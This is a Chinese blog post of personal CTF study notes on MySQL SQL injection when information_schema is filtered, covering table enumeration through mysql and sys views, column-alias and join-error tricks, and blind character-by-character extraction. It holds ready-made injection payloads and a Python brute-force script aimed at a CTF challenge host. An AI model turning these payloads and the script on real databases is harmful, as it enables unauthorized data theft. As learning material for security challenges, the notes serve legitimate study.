无列名注入姿势总结

无列名注入姿势总结

感受

从学习安全以来,还未自己总结过,往往一时会了就不再理会,遇到相似的题的时候又冥思苦想才能回想起来,所以决定从今天开始,规律的对一些方法进行总结。

概念

mysql数据库中,information_schema数据库保存着mysql所有其他数据库的信息,包括了数据库名,表名,字段名等,而题目则会有意的过滤掉这个库,这时,我们就得利用其他手段来绕过。

爆库名和表名

其他库或者视图:

mysql:
mysql.innodb_table_stats
mysql.innodb_index_stats


sys:
x$schema_table_statistics_with_buffer
schema_table_statistics_with_buffer

视图:
schema_auto_increment_columns

payload:

select group_concat(table_name) from |mysql.innodb_table_stats|x$schema_table_statistics_with_buffer|schema_auto_increment_columns|.....|

取别名绕过列名查数据

基本查询:

mysql> select * from tp_user;
+----------+----------+------+--------+
| username | password | id   | status |
+----------+----------+------+--------+
| Tom      | 123      | 1    | 1      |
| Bob      | 1234     | 2    | 2      |
| Dam      | 12345    | 3    | 3      |
| Tony     | a        | 4    | 4      |
| Tony     | a        | 4    | 4      |
| xi       | 123      | NULL | NULL   |
+----------+----------+------+--------+

将列名转换为任何可选的已知值:

mysql> select 1,2,3,4 union select * from tp_user;
+------+-------+------+------+
| 1    | 2     | 3    | 4    |
+------+-------+------+------+
| 1    | 2     | 3    | 4    |
| Tom  | 123   | 1    | 1    |
| Bob  | 1234  | 2    | 2    |
| Dam  | 12345 | 3    | 3    |
| Tony | a     | 4    | 4    |
| xi   | 123   | NULL | NULL |
+------+-------+------+------+

这样我们就可以用1,2,3,4来代替列名了:

mysql> select `1` from (select 1,2,3,4 union select * from tp_user) as a;
+------+
| 1    |
+------+
| 1    |
| Tom  |
| Bob  |
| Dam  |
| Tony |
| xi   |
+------+

payload:

-1' union select 1,(select group_concat(a) from(select 1 as a,2 as b,3 as c,4 as d union select * from tp_user)as m),3'

利用join爆列名

需要有回显才能使用

由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,就会爆出相同的列名的名称,从而获得列名

mysql> select * from tp_one;
+----------+----------+
| username | password |
+----------+----------+
| Tom      | 123      |
+----------+----------+

mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b) as c;
ERROR 1060 (42S21): Duplicate column name 'username'


mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b using(username)) as c;
ERROR 1060 (42S21): Duplicate column name 'password'

payload:

获取第一个列名

-1' union all select * from (select * from users as a join users as b)as c#

获取下一个列名

-1' union all select*from (select * from users as a join users as b using(username))as c#

字符比较查询

要知道比较两个字符串的大小与字符串的长度是没有关系的,给定两个字符串,会各取两个字符串的首字符ascii码来比较,不等式成立返回1,不等式不成立返回0

'g'是比'f'大的,所以返回1
mysql> select (select 'g') > (select 'flag');
+--------------------------------+
| (select 'g') > (select 'flag') |
+--------------------------------+
|                              1 |
+--------------------------------+

当相等或者小于时,就会返回0
mysql> select (select 'f') > (select 'flag');
+--------------------------------+
| (select 'f') > (select 'flag') |
+--------------------------------+
|                              0 |
+--------------------------------+

mysql> select (select 'd') > (select 'flag');
+--------------------------------+
| (select 'd') > (select 'flag') |
+--------------------------------+
|                              0 |
+--------------------------------+

利用这个特性,就可以逐字符爆破数据

mysql> select (select 'fm') > (select 'flag');
+---------------------------------+
| (select 'fm') > (select 'flag') |
+---------------------------------+
|                               1 |
+---------------------------------+

mysql> select (select 'fl') > (select 'flag');
+---------------------------------+
| (select 'fl') > (select 'flag') |
+---------------------------------+
|                               0 |
+---------------------------------+

因为在相等时返回0,所以在进行爆破时,我们爆破出来的1的时候,是比正确字符要大1的,所以在编写脚本时,我们要-1才能得到正确字符。

所以我们在设置循环上限时ascii值要大于或者等于127

在这里插入图片描述

脚本如下:([GYCTF2020]Ezsqli)

import requests

url='http://e0e4d9bf-1f0b-435c-aedf-6d1aa33856ce.node4.buuoj.cn:81/'
flag=''
for i in range(1,50):
    for j in range(32,128):
        hexchar=flag+chr(j)
        payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #print(payload)
        data={'id':payload}
        re=requests.post(url=url,data=data)
        if 'Nu1L' in re.text:
            flag+=chr(j-1)
            print(flag)
            break
posted @ 2022-07-06 14:17  phant0m1  阅读(281)  评论(0编辑  收藏  举报